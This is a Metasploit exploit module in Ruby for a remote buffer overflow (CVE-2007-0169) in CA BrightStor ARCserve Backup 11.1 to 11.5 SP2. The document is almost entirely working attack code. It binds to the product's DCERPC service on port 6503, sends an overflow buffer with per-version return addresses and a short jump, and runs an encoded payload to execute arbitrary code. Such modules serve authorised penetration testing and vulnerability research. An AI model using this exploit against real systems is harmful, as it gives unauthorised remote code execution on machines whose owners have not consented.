## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC def initialize(info = {}) super(update_info(info, 'Name' => 'CA BrightStor ARCserve Message Engine Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup 11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow the buffer and execute arbitrary code. }, 'Author' => [ 'MC', 'aushack' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2007-0169' ], [ 'OSVDB', '31318' ], [ 'BID', '22005' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'BrightStor ARCserve r11.1', { 'Ret' => 0x23805d10 } ], #p/p/r cheyprod.dll 07/21/2004 [ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5 } ], [ 'BrightStor ARCserve r11.5 SP2', { 'Ret' => 0x2380a47d } ], ], 'DisclosureDate' => '2007-01-11', 'DefaultTarget' => 1)) register_options( [ Opt::RPORT(6503) ]) end def exploit connect handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") filler = rand_text_english(616) + Rex::Arch::X86.jmp_short(6) + rand_text_english(2) + [target.ret].pack('V') sploit = NDR.string(filler + payload.encoded + "\x00") + NDR.long(0) print_status("Trying target #{target.name}...") begin dcerpc_call(47, sploit) rescue Rex::Proto::DCERPC::Exceptions::NoResponse end handler disconnect end end